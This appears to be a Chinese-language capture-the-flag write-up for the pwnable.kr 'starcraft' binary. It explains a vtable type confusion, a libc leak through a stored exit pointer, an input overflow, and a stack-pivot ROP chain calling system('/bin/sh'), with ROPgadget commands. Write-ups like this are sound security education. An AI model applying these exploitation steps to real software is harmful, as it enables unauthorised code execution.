pwnable kr starcraft
前言
这道题是目前花费时间最长的一次,刚开始搞了两三天想不出思路。后来隔了几天在网上看到一点点思路,又搞了一个周末然后失败。过了几天后又做了两天终于本机可以搞定,结果服务器那里还是失败。最后给两位素不相识的师傅发送邮件,终于搞定了!
程序分析
程序代码我就不贴了,非常多的代码...
程序逻辑就是让你选择一个角色,每次都会随机生成一个敌人,然后进行战斗,直到战败。
其中如果挺过十轮以后,就会触发下面的语句,似乎是没有用的语句,但之后就知道了,非常非常巧妙!
if ( v17 )
{
cout << "your command : ";
cin >> haystack;
// 一个很鸡肋的函数, 可以把它当成 cout << "yes";
final_cmd(v18, &haystack);
}
程序保护除了 Partial Reload,其余全开。
下面直接说解题步骤
步骤一: 触发 acron
templar 这个角色的 vtable 和别的角色不太一样。首先来看别的角色的 vtable。
.data.rel.ro:00000000002067C0 _ZTV6Dragon dq 0
.data.rel.ro:00000000002067C0
.data.rel.ro:00000000002067C8 dq offset _ZTI6Dragon
.data.rel.ro:00000000002067D0 dq offset input_ascii_artwork
.data.rel.ro:00000000002067D8 dq offset show_protoss
.data.rel.ro:00000000002067E0 dq offset choose_dragon
.data.rel.ro:00000000002067E8 dq offset result_protoss
.data.rel.ro:00000000002067F0 align 20h
然后来看看 templar 这个角色的
vtable..data.rel.ro:0000000000206800 _ZTV7Templar dq 0
.data.rel.ro:0000000000206800
.data.rel.ro:0000000000206808 dq offset _ZTI7Templar
.data.rel.ro:0000000000206810 dq offset input_ascii_artwork
.data.rel.ro:0000000000206818 dq offset show_templar
.data.rel.ro:0000000000206820 dq offset choose_templar
.data.rel.ro:0000000000206828 dq offset result_templar
.data.rel.ro:0000000000206830 dq offset sub_3F26
.data.rel.ro:0000000000206838 dq offset sub_3F30
.data.rel.ro:0000000000206840 dq offset sub_3F3A
.data.rel.ro:0000000000206848 dq offset sub_3F44
.data.rel.ro:0000000000206850 dq offset templar_to_acron
.data.rel.ro:0000000000206858 dq offset sub_41FA
.data.rel.ro:0000000000206860 dq offset sub_4230
明显看到 templar 的功能比较多,其中 0x206850 这里的函数很有意思,我们进去看看。
int templar_to_acron(__int64 a1)
{
__int64 v1; // rbx
__int64 result; // rax
__int64 v3; // rax
if ( *(_QWORD *)(a1 + 0x138) == a1 )
{
v1 = operator new(0x138uLL);
init_acron(v1, *(_DWORD *)(a1 + 8));
*(_QWORD *)(a1 + 0x138) = v1;
result = std::string::operator=(a1 + 24, "arcon");
}else
{
cout << "can't morph twice" << endl;
}
return result;
}
实际上这个函数作用就是让 templar 变成 acron!如果用户申请自己是 templar,那么结构如下所示。
ancron 的属性值很强,所以我们可以挺过多轮,就可以触发开头说的语句。
步骤二: acron 函数溢出
来看一下 templar 每次的攻击方式
__int64 choose_templar(__int64 a1, __int64 a2)
{
int v4; // [rsp+1Ch] [rbp-4h]
// (a1 + 8) 来判断这个 a1 是用户还是电脑
if ( *(_DWORD *)(a1 + 8) )
return default_attack(a1, a2);
// 初始时 (a1 + 0x138) 为 a1,但如果变成 acron 后就会变成指向 acron 的指针
if ( *(_QWORD *)(a1 + 0x138) == a1 )
cout << "select attack option (0. default, 1. arcon warp, 2. hallucination, 3. psionic strom) ";
else
cout << "select attack option (0. default) ";
cin >> v4;
switch ( v4 )
{
case 1:
((a1 + 0x138) + 64LL)(*(_QWORD *)(a1 + 312), &v4);
break;
case 2:
((a1 + 0x138) + 72LL)(*(_QWORD *)(a1 + 312), &v4);
break;
case 3:
((a1 + 0x138) + 80LL)(*(_QWORD *)(a1 + 312), &v4);
break;
default:
default_attack(*(_QWORD *)(a1 + 312), a2);
}
return 0LL;
}
很自然,但是有一个巨大的漏洞: 没有阻止 acron 可以选择其他的攻击方式。
也就是说如果当 a1+0x138 = acron 时,如果我们输入
v4 为 1,2,3,发现它还会去执行后面的 switch 语句!来看一下 acron 的
vtable,注意 a1+0x138=acron=0x206890。.data.rel.ro:0000000000206888 dq offset _ZTI5Arcon ; `typeinfo for'Arcon
.data.rel.ro:0000000000206890 dq offset input_ascii_artwork
.data.rel.ro:0000000000206898 dq offset show_protoss
.data.rel.ro:00000000002068A0 dq offset choose_acron
.data.rel.ro:00000000002068A8 dq offset result_protoss
.data.rel.ro:00000000002068B0 align 20h
...
.data.rel.ro:00000000002068C8 dq offset _ZTI9Ultralisk ; `typeinfo for'Ultralisk
.data.rel.ro:00000000002068D0 dq offset input_ascii_artwork
.data.rel.ro:00000000002068D8 dq offset show_zerg
.data.rel.ro:00000000002068E0 dq offset choose_zerg
.data.rel.ro:00000000002068E8 dq offset sub_30B8
.data.rel.ro:00000000002068F0 dq offset sub_31D0
.data.rel.ro:00000000002068F8 align 20h
可以执行 Ultralisk 的前三个函数!出大问题!
步骤三: 利用溢出泄露 libc
这里我们用到上面说的三个函数中的第二个函数,来看看~
void show_zerg(_DWORD *a1)
{
if ( a1[2] )
cout << "###### " << (__int64)(a1 + 6) << "(enemy) #######" << endl;
else
cout << "###### " << (__int64)(a1 + 6) << "(me) #######" << endl;
cout << " HP : " << a1[3] << endl;
cout << " Weapon : " << a1[4] << endl;
cout << " Armor : " << a1[5] << endl;
cout << " is burrowed : " << a1[74] << endl;
cout << " is burrowed-able : " << a1[75] << endl;
cout << "############################" << endl;
}
可以显示 a1[74] 和 a1[75],这两个换算成字节应该是 [0x128, 0x138),这里显示什么?来看一下 acron 的初始化函数!
void init_acron(__int64 a1, int a2)
{
init_protoss(a1);
*(_QWORD *)a1 = &`vtable for'Arcon + 2;
*(_DWORD *)(a1 + 8) = a2;
*(_DWORD *)(a1 + 12) = 10; // HP
*(_DWORD *)(a1 + 0x130) = 350; // Shield
*(_DWORD *)(a1 + 16) = 50; // Weapon
*(_DWORD *)(a1 + 20) = 1; // Armor
std::string::operator=(a1 + 0x18, "arcon");
}
void init_protoss(__int64 a1)
{
init_unit((_QWORD *)a1);
*(_QWORD *)a1 = &`vtable for'Protoss + 2;
// 如果是 user 则赋值为 exit,如果是 enemy 则赋值为 0
if ( *(_DWORD *)(a1 + 8) )
*(_QWORD *)(a1 + 0x128) = 0LL;
else
*(_QWORD *)(a1 + 0x128) = &exit;
}
啊哈!0x128 存储的是
exit 函数!所以我们可以得到 exit 函数地址,所以...libc address 搞定!
步骤四: 利用泄露控制执行流
让我们再来看可利用三个函数的第一个函数,其中 m_level 为 11.
char __fastcall input_ascii_artwork(__int64 a1)
{
int result = (float)g_level > (float)m_level;
if ( result )
{
cout << "input unit ascii artwork : " << endl;
cin >> (a1 + 32);
}
return result;
}
发现我们可以往
a1 + 32 中输入非常多的数据,刚才说了 a1 + 0x128 存储 exit,如果把它覆盖为 one_gadget 的话..实际上本机确实可以通过这样的方式!!但是服务器却很惨:
one_gadget 全部失效...
步骤五: Stack pivoting
当时真的绝望,后来发邮件问了 Veritas501 师傅才终于做出来,非常感谢师傅!
关键点是利用开头的那个语句,现在重新写一下,其中 haystack 是栈里面的变量。
if ( v17 )
{
cout << "your command : ";
cin >> haystack; // 因为有 canary 所以不会有溢出攻击
// 一个很鸡肋的函数
final_cmd(v18, &haystack);
}
关键点是利用
stack pivoting,这种是先调整栈位置再进行攻击,如 add rsp, xxx; ret.
这题正确做法是我们不把 exit 改成 one_gadget,而是改成这条语句: add rsp, 0x18; ret.
通过改成这条语句, rsp 会指向 haystack 里的内容,所以我们就可以通过构造 haystack 的内容来完成攻击!
最终构造 haystack = 'A' * 24 + p64(pop_rdi) + p64(bin_sh_address) + p64(system_address).
这样的流程如下
- 程序想要让 user 执行
exit - 执行了
add rsp, 0x18; ret rsp跑到haystack上的p64(pop_rdi)ret因此返回到了pop rdi; retrdi赋值为bin_sh地址ret返回到了system_address,搞定。
番外篇
-
如何查看程序是否有,以及如果有后返回
bin_sh的地址
ROPgadget --binary libc.so.6 --string "/bin/sh" -
如何查看程序哪里有
stack pivoting
ROPgadget --binary libc.so.6 --only "add|ret" | grep rsp -
为什么刚开始我使用
add esp, 0x18程序会崩溃,但是add rsp, 0x18却完美运行。
这是非常重要的一个知识点: 64 bit 中如果对低 32 bit 进行操作,会让高 32 bit 为 0,只有这种情况会变成 0. 其他如只对低 16 bit 进行操作不会造成高位变 0.
原因好像是和流水线有关系,但是具体细节不清楚,看下面链接。
https://stackoverflow.com/questions/11177137/why-do-x86-64-instructions-on-32-bit-registers-zero-the-upper-part-of-the-full-6
https://stackoverflow.com/questions/25455447/x86-64-registers-rax-eax-ax-al-overwriting-full-register-contents/25456097
- cin 对空格截断,对 \x00 不截断,末位会补 0 (待测)
总结
- 很值得回头看的一道题目,每一步都值得学习!
- 最后的番外篇遇到的问题也是值得看看